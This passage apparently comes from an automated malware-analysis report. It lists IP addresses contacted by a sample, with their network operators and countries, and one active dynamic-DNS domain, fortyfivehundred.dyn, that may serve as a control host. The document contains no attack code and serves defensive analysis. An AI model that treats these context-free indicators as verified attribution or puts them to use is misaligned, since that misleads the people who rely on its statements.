 unknown United States
3356 LEVEL3US false
159.75.52.23
 unknown China
1257 TELE2EU false
137.162.135.116
 unknown United States
3549 LVLT-3549US false
123.249.143.149
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
27.149.244.233
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
106.117.141.122
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
175.43.147.81
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
11.180.97.157
 unknown United States
3356 LEVEL3US false
136.229.153.85
 unknown United States
203 CENTURYLINK-LEGACY-LVLT-203US false
120.229.229.22
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
199.74.104.116
 unknown United States
103 NWU-ASUS false
120.10.71.50
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
22.23.166.67
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
184.85.236.36
 unknown United States
16625 AKAMAI-ASUS false
126.122.128.206
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
217.193.243.114
 unknown Switzerland
3303 SWISSCOMSwisscomSwitzerlandLtdCH false

Contacted Domains

Name IP Active
fortyfivehundred.dyn 156.244.19.135 true